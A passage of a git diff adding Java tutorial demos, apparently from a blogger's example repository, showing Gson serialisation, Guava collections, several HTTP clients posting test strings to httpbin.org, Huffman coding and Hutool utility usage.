b/codes/TechSister/src/main/java/com/itwanger/gson/ArbitraryTypes.java @@ -0,0 +1,46 @@ +package com.itwanger.gson; + +import com.google.gson.Gson; +import com.google.gson.JsonArray; +import com.google.gson.JsonParser; + +import java.util.ArrayList; +import java.util.List; + +/** + * 微信搜索「沉默王二」,回复 Java + * + * @author 沉默王二 + * @date 2020/12/8 + */ +public class ArbitraryTypes { + public static void main(String[] args) { + +List list = new ArrayList(); +list.add("沉默王二"); +list.add(18); +list.add(new Event("gson", "google")); + + +Gson gson = new Gson(); +String json = gson.toJson(list); +System.out.println(json); + + List list1 = gson.fromJson(json,list.getClass()); + System.out.println(list1); + +JsonParser parser = new JsonParser(); +JsonArray array = parser.parse(json).getAsJsonArray(); +String message = gson.fromJson(array.get(0), String.class); +int number = gson.fromJson(array.get(1), int.class); +Event event = gson.fromJson(array.get(2), Event.class); + } +} +class Event { + private String name; + private String source; + Event(String name, String source) { + this.name = name; + this.source = source; + } +} \ No newline at end of file diff --git a/codes/TechSister/src/main/java/com/itwanger/gson/Demo.java b/codes/TechSister/src/main/java/com/itwanger/gson/Demo.java new file mode 100644 index 0000000000..65652f82c9 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/gson/Demo.java @@ -0,0 +1,54 @@ +package com.itwanger.gson; + +import com.google.gson.Gson; +import com.google.gson.GsonBuilder; +import com.google.gson.reflect.TypeToken; + +import java.lang.reflect.Type; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; + +/** + * 微信搜索「沉默王二」,回复 Java + * + * @author 沉默王二 + * @date 2020/12/8 + */ +public class Demo { + public static void main(String[] args) { + // 序列化 +Gson gson = new Gson(); +System.out.println(gson.toJson(18)); +System.out.println(gson.toJson("沉默")); +System.out.println(gson.toJson(new Integer(18))); +int[] values = { 18,20 }; +System.out.println(gson.toJson(values)); + +List list =new ArrayList<>(); +list.add("好好学习"); +list.add("天天向上"); +String json = gson.toJson(list); + System.out.println(json); + + + + +Type listType = new TypeToken>(){}.getType(); + List listResult = gson.fromJson(json,List.class); + System.out.println(listResult); + +// 反序列化 +int one = gson.fromJson("1", int.class); +Integer two = gson.fromJson("2", Integer.class); +Boolean false1 = gson.fromJson("false", Boolean.class); +String str = gson.fromJson("\"王二\"", String.class); +String[] anotherStr = gson.fromJson("[\"沉默\",\"王二\"]", String[].class); + +System.out.println(one); +System.out.println(two); +System.out.println(false1); +System.out.println(str); +System.out.println(Arrays.toString(anotherStr)); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/gson/Foo.java b/codes/TechSister/src/main/java/com/itwanger/gson/Foo.java new file mode 100644 index 0000000000..17c23ad02d --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/gson/Foo.java @@ -0,0 +1,46 @@ +package com.itwanger.gson; + +import com.google.gson.Gson; +import com.google.gson.reflect.TypeToken; + +import java.lang.reflect.Type; + +/** + * 微信搜索「沉默王二」,回复 Java + * + * @author 沉默王二 + * @date 2020/12/8 + */ +public class Foo { + T value; + + public void set(T value) { + this.value = value; + } + + public T get() { + return value; + } + + public static void main(String[] args) { + Gson gson = new Gson(); + Foo foo = new Foo(); + Bar bar = new Bar(); + foo.set(bar); + +Type fooType = new TypeToken>() {}.getType(); +String json = gson.toJson(foo,fooType); + System.out.println(json); + + + +Foo foo1 = gson.fromJson(json, fooType); +Bar bar1 = foo1.get(); + System.out.println(bar1); + } +} + +class Bar{ + private int age = 10; + private String name = "图灵"; +} diff --git a/codes/TechSister/src/main/java/com/itwanger/gson/InnerClass.java b/codes/TechSister/src/main/java/com/itwanger/gson/InnerClass.java new file mode 100644 index 0000000000..212a7ee4e3 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/gson/InnerClass.java @@ -0,0 +1,40 @@ +package com.itwanger.gson; + +import com.google.gson.Gson; + +/** + * 微信搜索「沉默王二」,回复 Java + * + * @author 沉默王二 + * @date 2020/12/8 + */ +class A { + public String a = "a"; + + class B { + public String b = "b"; + + @Override + public String toString() { + return "B{" + + "b='" + b + '\'' + + '}'; + } + } + + @Override + public String toString() { + return "A{" + + "a='" + a + '\'' + + '}'; + } + + public static void main(String[] args) { + Gson gson = new Gson(); + String json = gson.toJson(new A()); + + json = "{\"b\":\"b\"}"; + B b = gson.fromJson(json, B.class); + System.out.println(b); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/gson/Writer.java b/codes/TechSister/src/main/java/com/itwanger/gson/Writer.java new file mode 100644 index 0000000000..ba6379e2d6 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/gson/Writer.java @@ -0,0 +1,58 @@ +package com.itwanger.gson; + +import com.google.gson.Gson; +import com.google.gson.GsonBuilder; +import com.google.gson.annotations.Expose; + +import java.lang.reflect.Modifier; + +/** + * 微信搜索「沉默王二」,回复 Java + * + * @author 沉默王二 + * @date 2020/12/8 + */ +public class Writer { +@Expose +private int age = 18; + private String name = "沉默王二"; + + private transient int sex; + + @Override + public String toString() { + return "Writer{" + + "age=" + age + + ", name='" + name + '\'' + + ", sex=" + sex + + '}'; + } + + public static void main(String[] args) { + Writer writer = new Writer(); + Gson gson = new Gson(); + String json = gson.toJson(writer); + System.out.println(json); + + Gson gson1 = new GsonBuilder().setPrettyPrinting().create(); + String jsonOutput = gson1.toJson(writer); + System.out.println(jsonOutput); + + Gson gson2 = new GsonBuilder().serializeNulls().create(); + String jsonOutput2 = gson2.toJson(writer); + System.out.println(jsonOutput2); + +Gson gson3 = new GsonBuilder().excludeFieldsWithModifiers(Modifier.TRANSIENT).create(); + String jsonOutput3 = gson3.toJson(writer); + System.out.println(jsonOutput3); + + Gson gson4 = new GsonBuilder().excludeFieldsWithoutExposeAnnotation().create(); + String jsonOutput4 = gson4.toJson(writer); + System.out.println("jsonOutput4"+jsonOutput4); + + json = "{\"age\":0,\"name\":\"\"}"; + + Writer writer1 = gson.fromJson(json, Writer.class); + System.out.println(writer1); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/guava/NullTest.java b/codes/TechSister/src/main/java/com/itwanger/guava/NullTest.java new file mode 100644 index 0000000000..592d20373d --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/guava/NullTest.java @@ -0,0 +1,66 @@ +package com.itwanger.guava; + +import com.google.common.base.Joiner; +import com.google.common.base.Optional; +import com.google.common.base.Splitter; +import com.google.common.cache.CacheBuilder; +import com.google.common.collect.ImmutableList; +import com.google.common.collect.Lists; + +import java.io.File; +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; +import java.util.concurrent.TimeUnit; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class NullTest { + public static void main(String[] args) { +Optional possible = Optional.of(5); +possible.isPresent(); // returns true +possible.get(); // returns 5 + + +// 下面的代码利用Collections.unmodifiableList(list)得到一个不可修改的集合unmodifiableList +List list = new ArrayList(); +list.add("沉默王二"); +list.add("微信搜一下"); + +List unmodifiableList = Collections.unmodifiableList(list); + +//[沉默王二, 微信搜一下] +System.out.println(unmodifiableList); + + list.add("沉默王三"); + System.out.println(unmodifiableList); + +List stringArrayList = Lists.newArrayList("雷军","乔布斯"); +ImmutableList immutableList = ImmutableList.copyOf(stringArrayList); +//immutableList.add("马云"); + + stringArrayList.add("马云"); + System.out.println(immutableList); + +//CacheBuilder.newBuilder() +// .expireAfterWrite(2, TimeUnit.MINUTES) +// .build(new CacheLoader () { +// public DatabaseConnection load(Key key) throws Exception { +// return openConnection(key); +// } +// }); + + + Joiner joiner = Joiner.on("; ").skipNulls(); + System.out.println(joiner.join("雷军", null, "乔布斯")); + +System.out.println(Splitter.on(',') + .trimResults() + .omitEmptyStrings() + .split("雷军,乔布斯,, 沉默王二")); + + System.out.println(File.separator); + + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/http/ForRestClient.java b/codes/TechSister/src/main/java/com/itwanger/http/ForRestClient.java new file mode 100644 index 0000000000..e7dc8e1f9b --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/http/ForRestClient.java @@ -0,0 +1,13 @@ +package com.itwanger.http; + +import com.dtflys.forest.annotation.Body; +import com.dtflys.forest.annotation.Post; +import com.dtflys.forest.annotation.Request; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public interface ForRestClient { + @Post("http://httpbin.org/post") + String simplePost(@Body("name") String name); +} diff --git a/codes/TechSister/src/main/java/com/itwanger/http/ForRestDemo.java b/codes/TechSister/src/main/java/com/itwanger/http/ForRestDemo.java new file mode 100644 index 0000000000..899b46b8d8 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/http/ForRestDemo.java @@ -0,0 +1,21 @@ +package com.itwanger.http; + +import com.dtflys.forest.config.ForestConfiguration; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class ForRestDemo { + public static void main(String[] args) { + // 实例化Forest配置对象 + ForestConfiguration configuration = ForestConfiguration.configuration(); + configuration.setBackendName("httpclient"); + + // 通过Forest配置对象实例化Forest请求接口 + ForRestClient myClient = configuration.createInstance(ForRestClient.class); + + // 调用Forest请求接口,并获取响应返回结果 + String result = myClient.simplePost("二哥"); + System.out.println(result); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/http/HttpClientDemo.java b/codes/TechSister/src/main/java/com/itwanger/http/HttpClientDemo.java new file mode 100644 index 0000000000..947ae87a7c --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/http/HttpClientDemo.java @@ -0,0 +1,26 @@ +package com.itwanger.http; + + +import java.net.URI; +import java.net.URISyntaxException; +import java.net.http.HttpClient; +import java.net.http.HttpRequest; +import java.net.http.HttpResponse; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class HttpClientDemo { + public static void main(String[] args) throws URISyntaxException { + HttpClient client = HttpClient.newHttpClient(); + HttpRequest request = HttpRequest.newBuilder() + .uri(new URI("https://httpbin.org/post")) + .headers("Content-Type", "text/plain;charset=UTF-8") + .POST(HttpRequest.BodyPublishers.ofString("二哥牛逼")) + .build(); + client.sendAsync(request, HttpResponse.BodyHandlers.ofString()) + .thenApply(HttpResponse::body) + .thenAccept(System.out::println) + .join(); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/http/HttpComponentsDemo.java b/codes/TechSister/src/main/java/com/itwanger/http/HttpComponentsDemo.java new file mode 100644 index 0000000000..44d63d8251 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/http/HttpComponentsDemo.java @@ -0,0 +1,35 @@ +package com.itwanger.http; + +import org.apache.hc.client5.http.classic.methods.HttpPost; +import org.apache.hc.client5.http.entity.UrlEncodedFormEntity; +import org.apache.hc.client5.http.impl.classic.CloseableHttpClient; +import org.apache.hc.client5.http.impl.classic.CloseableHttpResponse; +import org.apache.hc.client5.http.impl.classic.HttpClients; +import org.apache.hc.core5.http.HttpEntity; +import org.apache.hc.core5.http.NameValuePair; +import org.apache.hc.core5.http.ParseException; +import org.apache.hc.core5.http.io.entity.EntityUtils; +import org.apache.hc.core5.http.message.BasicNameValuePair; + +import java.io.IOException; +import java.nio.charset.Charset; +import java.util.ArrayList; +import java.util.List; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class HttpComponentsDemo { + public static void main(String[] args) throws IOException, IOException, ParseException { + try (CloseableHttpClient httpclient = HttpClients.createDefault()) { + HttpPost httpPost = new HttpPost("http://httpbin.org/post"); + List nvps = new ArrayList<>(); + nvps.add(new BasicNameValuePair("name", "二哥")); + httpPost.setEntity(new UrlEncodedFormEntity(nvps, Charset.forName("UTF-8"))); + + try (CloseableHttpResponse response2 = httpclient.execute(httpPost)) { + System.out.println(response2.getCode() + " " + EntityUtils.toString(response2.getEntity())); + } + } + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/http/HttpUrlConnectionDemo.java b/codes/TechSister/src/main/java/com/itwanger/http/HttpUrlConnectionDemo.java new file mode 100644 index 0000000000..625b16a32d --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/http/HttpUrlConnectionDemo.java @@ -0,0 +1,38 @@ +package com.itwanger.http; + +import java.io.*; +import java.net.HttpURLConnection; +import java.net.URL; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class HttpUrlConnectionDemo { + public static void main(String[] args) throws IOException { + String urlString = "https://httpbin.org/post"; + String bodyString = "name=二哥"; + + URL url = new URL(urlString); + HttpURLConnection conn = (HttpURLConnection) url.openConnection(); + conn.setRequestMethod("POST"); + conn.setDoOutput(true); + + OutputStream os = conn.getOutputStream(); + os.write(bodyString.getBytes("utf-8")); + os.flush(); + os.close(); + + if (conn.getResponseCode() == HttpURLConnection.HTTP_OK) { + InputStream is = conn.getInputStream(); + BufferedReader reader = new BufferedReader(new InputStreamReader(is)); + StringBuilder sb = new StringBuilder(); + String line; + while ((line = reader.readLine()) != null) { + sb.append(line); + } + System.out.println("响应内容:" + sb.toString()); + } else { + System.out.println("响应码:" + conn.getResponseCode()); + } + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/http/OkHttpPostDemo.java b/codes/TechSister/src/main/java/com/itwanger/http/OkHttpPostDemo.java new file mode 100644 index 0000000000..064a7e576f --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/http/OkHttpPostDemo.java @@ -0,0 +1,36 @@ +package com.itwanger.http; + +import java.io.IOException; +import okhttp3.MediaType; +import okhttp3.OkHttpClient; +import okhttp3.Request; +import okhttp3.RequestBody; +import okhttp3.Response; + + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class OkHttpPostDemo { + public static final MediaType JSON = MediaType.get("application/json; charset=utf-8"); + + OkHttpClient client = new OkHttpClient(); + + String post(String url, String json) throws IOException { + RequestBody body = RequestBody.create(json, JSON); + Request request = new Request.Builder() + .url(url) + .post(body) + .build(); + try (Response response = client.newCall(request).execute()) { + return response.body().string(); + } + } + + public static void main(String[] args) throws IOException { + OkHttpPostDemo example = new OkHttpPostDemo(); + String json = "{'name':'二哥'}"; + String response = example.post("https://httpbin.org/post", json); + System.out.println(response); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/huffman/Huffman.java b/codes/TechSister/src/main/java/com/itwanger/huffman/Huffman.java new file mode 100644 index 0000000000..8fed997232 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/huffman/Huffman.java @@ -0,0 +1,81 @@ +package com.itwanger.huffman; + +import cn.hutool.Hutool; +import cn.hutool.core.util.HexUtil; + +import java.math.BigInteger; +import java.util.Comparator; +import java.util.PriorityQueue; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +class HuffmanNode { + int item; + char c; + HuffmanNode left; + HuffmanNode right; +} + +class ImplementComparator implements Comparator { + public int compare(HuffmanNode x, HuffmanNode y) { + return x.item - y.item; + } +} + +public class Huffman { + public static void printCode(HuffmanNode root, String s) { + if (root.left == null && root.right == null && Character.isLetter(root.c)) { + + System.out.println(root.c + " | " + s); + + return; + } + printCode(root.left, s + "0"); + printCode(root.right, s + "1"); + } + + public static void main(String[] args) { + int n = 4; + char[] charArray = { 'A', 'B', 'C', 'D' }; + int[] charfreq = { 5, 1, 6, 3 }; + + PriorityQueue q = new PriorityQueue(n, new ImplementComparator()); + + for (int i = 0; i < n; i++) { + HuffmanNode hn = new HuffmanNode(); + + hn.c = charArray[i]; + hn.item = charfreq[i]; + + hn.left = null; + hn.right = null; + + q.add(hn); + } + + HuffmanNode root = null; + + while (q.size() > 1) { + + HuffmanNode x = q.peek(); + q.poll(); + + HuffmanNode y = q.peek(); + q.poll(); + + HuffmanNode f = new HuffmanNode(); + + f.item = x.item + y.item; + f.c = '-'; + f.left = x; + f.right = y; + root = f; + + q.add(f); + } + System.out.println(" 字符 | 霍夫曼编码 "); + System.out.println("--------------------"); + printCode(root, ""); + } +} \ No newline at end of file diff --git a/codes/TechSister/src/main/java/com/itwanger/hutool/bimap/BiMapDemo.java b/codes/TechSister/src/main/java/com/itwanger/hutool/bimap/BiMapDemo.java new file mode 100644 index 0000000000..c4e3341177 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/hutool/bimap/BiMapDemo.java @@ -0,0 +1,25 @@ +package com.itwanger.hutool.bimap; + +import cn.hutool.core.map.BiMap; + +import java.util.HashMap; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class BiMapDemo { + public static void main(String[] args) { +BiMap biMap = new BiMap<>(new HashMap<>()); +biMap.put("wanger", "沉默王二"); +biMap.put("wangsan", "沉默王三"); + +// get value by key +biMap.get("wanger"); +biMap.get("wangsan"); + +// get key by value +biMap.getKey("沉默王二"); +biMap.getKey("沉默王三"); + + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/hutool/cache/CacheDemo.java b/codes/TechSister/src/main/java/com/itwanger/hutool/cache/CacheDemo.java new file mode 100644 index 0000000000..0604a31eac --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/hutool/cache/CacheDemo.java @@ -0,0 +1,57 @@ +package com.itwanger.hutool.cache; + +import cn.hutool.cache.Cache; +import cn.hutool.cache.CacheUtil; +import cn.hutool.core.date.DateUnit; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class CacheDemo { + public static void main(String[] args) { +Cache fifoCache = CacheUtil.newFIFOCache(3); +fifoCache.put("key1", "沉默王一"); +fifoCache.put("key2", "沉默王二"); +fifoCache.put("key3", "沉默王三"); +fifoCache.put("key4", "沉默王四"); + +// 大小为 3,所以 key3 放入后 key1 被清除 +String value1 = fifoCache.get("key1"); + System.out.println(value1); + + lfu(); + lru(); + } + + public static void lfu() { +Cache lfuCache = CacheUtil.newLFUCache(3); + +lfuCache.put("key1", "沉默王一"); +// 使用次数+1 +lfuCache.get("key1"); +lfuCache.put("key2", "沉默王二"); +lfuCache.put("key3", "沉默王三"); +lfuCache.put("key4", "沉默王四"); + +// 由于缓存容量只有 3,当加入第 4 个元素的时候,最少使用的将被移除(2,3被移除) +String value2 = lfuCache.get("key2"); +String value3 = lfuCache.get("key3"); +System.out.println(value2); +System.out.println(value3); + } + + public static void lru() { +Cache lruCache = CacheUtil.newLRUCache(3); + +lruCache.put("key1", "沉默王一"); +lruCache.put("key2", "沉默王二"); +lruCache.put("key3", "沉默王三"); +// 使用时间近了 +lruCache.get("key1"); +lruCache.put("key4", "沉默王四"); + +// 由于缓存容量只有 3,当加入第 4 个元素的时候,最久使用的将被移除(2) +String value2 = lruCache.get("key2"); +System.out.println(value2); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/hutool/clone/CloneableTest.java b/codes/TechSister/src/main/java/com/itwanger/hutool/clone/CloneableTest.java new file mode 100644 index 0000000000..b315ae6846 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/hutool/clone/CloneableTest.java @@ -0,0 +1,11 @@ +package com.itwanger.hutool.clone; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class CloneableTest implements Cloneable { + public static void main(String[] args) throws CloneNotSupportedException { + CloneableTest cloneableTest = new CloneableTest(); + CloneableTest clone1 = (CloneableTest) cloneableTest.clone(); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/hutool/console/ConsoleDemo.java b/codes/TechSister/src/main/java/com/itwanger/hutool/console/ConsoleDemo.java new file mode 100644 index 0000000000..ccd351a21c --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/hutool/console/ConsoleDemo.java @@ -0,0 +1,20 @@ +package com.itwanger.hutool.console; + +import cn.hutool.core.lang.Console; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class ConsoleDemo { + public static void main(String[] args) { + // 打印字符串 + Console.log("沉默王二,一枚有趣的程序员"); + + // 打印字符串模板 + Console.log("洛阳是{}朝古都",13); + + int [] ints = {1,2,3,4}; + // 打印数组 + Console.log(ints); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/hutool/convert/ConvertDemo.java b/codes/TechSister/src/main/java/com/itwanger/hutool/convert/ConvertDemo.java new file mode 100644 index 0000000000..46a6c8be4e --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/hutool/convert/ConvertDemo.java @@ -0,0 +1,26 @@ +package com.itwanger.hutool.convert; + +import cn.hutool.core.convert.Convert; + +import java.util.Date; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class ConvertDemo { + public static void main(String[] args) { +String param = "10"; +int paramInt = Convert.toInt(param); +int paramIntDefault = Convert.toInt(param, 0); + System.out.println(paramInt); + System.out.println(paramIntDefault); + +String dateStr = "2020年09月29日"; +Date date = Convert.toDate(dateStr); + System.out.println(date); + +String unicodeStr = "沉默王二"; +String unicode = Convert.strToUnicode(unicodeStr); + System.out.println(unicode); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/hutool/crypto/SecureUtilDemo.java b/codes/TechSister/src/main/java/com/itwanger/hutool/crypto/SecureUtilDemo.java new file mode 100644 index 0000000000..d2f0310eef --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/hutool/crypto/SecureUtilDemo.java @@ -0,0 +1,18 @@ +package com.itwanger.hutool.crypto; + +import cn.hutool.crypto.SecureUtil; +import cn.hutool.crypto.symmetric.AES; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class SecureUtilDemo { + static AES aes = SecureUtil.aes(); + public static void main(String[] args) { + String encry = aes.encryptHex("沉默王二"); + System.out.println(encry); + String oo = aes.decryptStr(encry); + System.out.println(oo); + } + +} diff --git a/codes/TechSister/src/main/java/com/itwanger/hutool/datetime/DateUtilDemo.java b/codes/TechSister/src/main/java/com/itwanger/hutool/datetime/DateUtilDemo.java new file mode 100644 index 0000000000..96f21a0441 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/hutool/datetime/DateUtilDemo.java @@ -0,0 +1,55 @@ +package com.itwanger.hutool.datetime; + +import cn.hutool.core.date.*; + +import java.util.Date; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class DateUtilDemo { + public static void main(String[] args) { +Date date = DateUtil.date(); +String now = DateUtil.now(); +String today= DateUtil.today(); + + System.out.println(date); + System.out.println(now); + System.out.println(today); + + str2Date(); + between(); + zodiac(); + + } + + public static void str2Date() { +//String dateStr = "2020-09-29"; + String dateStr = "2020年09月29日"; +Date date = DateUtil.parse(dateStr); + System.out.println(date); + } + + public static void between() { +String dateStr1 = "2020-09-29 22:33:23"; +Date date1 = DateUtil.parse(dateStr1); + +String dateStr2 = "2020-10-01 23:34:27"; +Date date2 = DateUtil.parse(dateStr2); + +long betweenDay = DateUtil.between(date1, date2, DateUnit.MS); +String formatBetween = DateUtil.formatBetween(betweenDay, BetweenFormater.Level.SECOND); + System.out.println(formatBetween); + } + + public static void zodiac() { +String zodiac = DateUtil.getZodiac(Month.DECEMBER.getValue(), 10); +String chineseZodiac = DateUtil.getChineseZodiac(1989); + System.out.println(zodiac); + System.out.println(chineseZodiac); + } + + public static void chinese() { + ChineseDate chineseDate = new ChineseDate(1989,11,13); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/hutool/dict/DictDemo.java b/codes/TechSister/src/main/java/com/itwanger/hutool/dict/DictDemo.java new file mode 100644 index 0000000000..7c60a4d9ac --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/hutool/dict/DictDemo.java @@ -0,0 +1,20 @@ +package com.itwanger.hutool.dict; + +import cn.hutool.core.date.DateTime; +import cn.hutool.core.lang.Dict; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class DictDemo { + public static void main(String[] args) { +Dict dict = Dict.create() + .set("age", 18) + .set("name", "沉默王二") + .set("birthday", DateTime.now()); + +int age = dict.getInt("age"); +String name = dict.getStr("name"); + System.out.println(age + name); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/hutool/idcard/IdcardUtilDemo.java b/codes/TechSister/src/main/java/com/itwanger/hutool/idcard/IdcardUtilDemo.java new file mode 100644 index 0000000000..f0c28231e2 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/hutool/idcard/IdcardUtilDemo.java @@ -0,0 +1,16 @@ +package com.itwanger.hutool.idcard; + +import cn.hutool.core.util.IdcardUtil; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class IdcardUtilDemo { + public static void main(String[] args) { +String ID_18 = "321083197812162119"; +String ID_15 = "150102880730303"; + +boolean valid = IdcardUtil.isValidCard(ID_18); +boolean valid15 = IdcardUtil.isValidCard(ID_15); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/hutool/img/ImgUtilDemo.java b/codes/TechSister/src/main/java/com/itwanger/hutool/img/ImgUtilDemo.java new file mode 100644 index 0000000000..0bfb9a14a1 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/hutool/img/ImgUtilDemo.java @@ -0,0 +1,38 @@ +package com.itwanger.hutool.img; + +import cn.hutool.core.img.ImgUtil; +import cn.hutool.core.io.FileUtil; + +import java.awt.*; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class ImgUtilDemo { + public static void main(String[] args) { +ImgUtil.scale( + FileUtil.file("hutool/wangsan.jpg"), + FileUtil.file("hutool/wangsan_small.jpg"), + 0.5f +); + + +ImgUtil.cut( + FileUtil.file("hutool/wangsan.jpg"), + FileUtil.file("hutool/wangsan_cut.jpg"), + new Rectangle(200, 200, 100, 100) +); + +ImgUtil.pressText(// + FileUtil.file("hutool/wangsan.jpg"), + FileUtil.file("hutool/wangsan_logo.jpg"), + "沉默王二", Color.WHITE, + new Font("黑体", Font.BOLD, 100), + 0, + 0, + 0.8f +); + + + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/hutool/io/IODemo.java b/codes/TechSister/src/main/java/com/itwanger/hutool/io/IODemo.java new file mode 100644 index 0000000000..650a8f2e55 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/hutool/io/IODemo.java @@ -0,0 +1,18 @@ +package com.itwanger.hutool.io; + +import cn.hutool.core.io.FileUtil; +import cn.hutool.core.io.IoUtil; + +import java.io.BufferedInputStream; +import java.io.BufferedOutputStream; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class IODemo { + public static void main(String[] args) { +BufferedInputStream in = FileUtil.getInputStream("hutool/origin.txt"); +BufferedOutputStream out = FileUtil.getOutputStream("hutool/to.txt"); +long copySize = IoUtil.copy(in, out, IoUtil.DEFAULT_BUFFER_SIZE); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/hutool/log/LogDemo.java b/codes/TechSister/src/main/java/com/itwanger/hutool/log/LogDemo.java new file mode 100644 index 0000000000..8f437670cf --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/hutool/log/LogDemo.java @@ -0,0 +1,19 @@ +package com.itwanger.hutool.log; + +import cn.hutool.log.Log; +import cn.hutool.log.LogFactory; +import cn.hutool.log.StaticLog; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class LogDemo { + // 推荐创建不可变静态类成员变量 + private static final Log log = LogFactory.get(); + + public static void main(String[] args) { + log.debug("难得糊涂"); + + StaticLog.info("爽啊 {}.", "沉默王二的文章"); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/hutool/reflect/ReflectDemo.java b/codes/TechSister/src/main/java/com/itwanger/hutool/reflect/ReflectDemo.java new file mode 100644 index 0000000000..5e8668a780 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/hutool/reflect/ReflectDemo.java @@ -0,0 +1,53 @@ +package com.itwanger.hutool.reflect; + +import cn.hutool.core.util.ReflectUtil; + +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.Method; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class ReflectDemo { + private int id; + + public ReflectDemo() { + System.out.println("构造方法"); + } + + public void print() { + System.out.println("我是沉默王二"); + } + + public static void main(String[] args) throws IllegalAccessException { + // 构建对象 + ReflectDemo reflectDemo = ReflectUtil.newInstance(ReflectDemo.class); + + // 获取构造方法 + Constructor[] constructors = ReflectUtil.getConstructors(ReflectDemo.class); + for (Constructor constructor : constructors) { + System.out.println(constructor.getName()); + } + + // 获取字段 + Field field = ReflectUtil.getField(ReflectDemo.class, "id"); + field.setInt(reflectDemo, 10); + // 获取字段值 + System.out.println(ReflectUtil.getFieldValue(reflectDemo, field)); + + // 获取所有方法 + Method[] methods = ReflectUtil.getMethods(ReflectDemo.class); + for (Method m : methods) { + System.out.println(m.getName()); + } + + // 获取指定方法 + Method method = ReflectUtil.getMethod(ReflectDemo.class, "print"); + System.out.println(method.getName()); + + + // 执行方法 + ReflectUtil.invoke(reflectDemo, "print"); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/hutool/setting/SettingDemo.java b/codes/TechSister/src/main/java/com/itwanger/hutool/setting/SettingDemo.java new file mode 100644 index 0000000000..7a49c9f932 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/hutool/setting/SettingDemo.java @@ -0,0 +1,24 @@ +package com.itwanger.hutool.setting; + +import cn.hutool.setting.Setting; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class SettingDemo { + private final static String SETTING = "hutool/example.setting"; + public static void main(String[] args) { + // 初始化 Setting + Setting setting = new Setting(SETTING); + + // 读取 + setting.getStr("name", "沉默王二"); + + // 在配置文件变更时自动加载 + setting.autoLoad(true); + + // 通过代码方式增加键值对 + setting.set("birthday", "2020年09月29日"); + setting.store(SETTING); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/hutool/str/StrUtilDemo.java b/codes/TechSister/src/main/java/com/itwanger/hutool/str/StrUtilDemo.java new file mode 100644 index 0000000000..4f9adbf554 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/hutool/str/StrUtilDemo.java @@ -0,0 +1,14 @@ +package com.itwanger.hutool.str; + 